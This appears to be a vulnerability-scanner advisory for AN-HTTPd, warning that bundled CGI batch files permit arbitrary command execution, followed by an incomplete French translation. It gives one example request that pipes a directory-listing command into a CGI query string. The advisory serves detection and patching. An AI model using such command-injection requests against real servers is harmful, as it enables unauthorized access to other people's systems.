At least one of these CGIs is installed on the remote server :

	cgi-bin/test.bat
	cgi-bin/input.bat
	cgi-bin/input2.bat
	ssi/envout.bat
	
It is possible to misuse them to make the remote server

execute arbitrary commands.
For instance :
         http://www.xxx.yy/cgi-bin/input.bat?|dir..\..\windows
would show a complete directory listing of the remote system's 
private 'C:\windows\' directory.

Solution : Upgrade to the latest version of AN-HTTPd  
(http://www.st.rim.or.jp/~nakata/), or contact your vendor 
for a patch, or consider changing your HTTP server software.


Risk factor : High";

Au moins un des CGIs suivant est installé :

Il est possible de les utiliser de telle sorte qu'ils executent
des commandes arbitraires sur cette machine, comme :

Facteur de risque : elevé
Solution : installez la version 1.21 du produit, diponible à
